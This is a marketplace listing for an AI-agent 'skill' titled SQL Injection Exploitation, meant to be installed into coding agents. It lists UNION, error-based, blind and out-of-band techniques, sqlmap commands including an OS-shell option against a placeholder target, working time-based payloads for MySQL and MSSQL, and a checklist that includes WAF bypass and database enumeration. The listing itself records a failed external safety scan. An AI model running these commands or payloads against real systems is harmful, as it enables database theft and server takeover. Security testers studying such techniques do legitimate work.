# SQL Injection Exploitation

> Use when exploiting SQL injection vulnerabilities.

- Skill: `loopyluci/sql-injection-exploitation` (Agent Skill)
- Install (CLI): `npx skillmds@latest add loopyluci/sql-injection-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/loopyluci/sql-injection-exploitation/raw
- Safety review: pending (external: skill-scanner FAIL, skillspector PASS)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- License: MIT
- Author: LoopyLuci (https://skillmd.com/u/loopyluci)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/loopyluci/sql-injection-exploitation

---


# SQL Injection Exploitation

Exploiting SQL injection vulnerabilities — from detection through UNION, error-based, blind (boolean/time-based), out-of-band, and automated exploitation with sqlmap.

## When to Use

- Detecting and exploiting SQL injection in web apps
- Extracting database information via SQLi
- Bypassing WAF/IPS filters for SQL injection
- Manual and automated SQL injection testing

## SQLi Techniques

```python
SQLI_TYPES = {
    'in_band_union': 'UNION SELECT to retrieve data in same response — simplest',
    'in_band_error': 'Extract data via error messages (GROUP BY, CONVERT, XPATH)',
    'blind_boolean': 'Infer data from TRUE/FALSE responses — slower but reliable',
    'blind_time': 'Infer data from response delays (SLEEP, WAITFOR DELAY, BENCHMARK)',
    'out_of_band': 'Extract data via DNS/HTTP to attacker-controlled server',
}

# sqlmap automation
SQLMAP_EXAMPLES = {
    'basic': "sqlmap -u 'https://target.com/page?id=1' --batch",
    'with_cookie': "sqlmap -u 'https://target.com/page?id=1' --cookie='session=abc' --batch",
    'os_shell': "sqlmap -u 'https://target.com/page?id=1' --os-shell",
    'dbs': "sqlmap -u 'https://target.com/page?id=1' --dbs --batch",
}

# Manual blind SQLi
BLIND_SQLI = {
    'boolean': "' OR 1=1-- - (true), ' OR 1=2-- - (false)",
    'time_mysql': "' OR IF(SUBSTRING((SELECT database()),1,1)='a',SLEEP(3),0)-- -",
    'time_mssql': "'; IF (ASCII(SUBSTRING(@@version,1,1))>50) WAITFOR DELAY '0:0:5'--",
}
```

## Verification Checklist

- [ ] Injection point confirmed (error-based, blind, or time-based)
- [ ] Database type identified (MySQL, MSSQL, PostgreSQL, Oracle, SQLite)
- [ ] Current user and permissions determined
- [ ] Database contents enumerated (tables, columns, data)
- [ ] sqlmap used for automated extraction (if applicable)
- [ ] WAF/IDS bypasses attempted (comment injection, case variation, encoding)
- [ ] Data extracted limited to proof-of-concept only
- [ ] No destructive operations (INSERT, UPDATE, DELETE, DROP)
- [ ] Findings documented with request/response evidence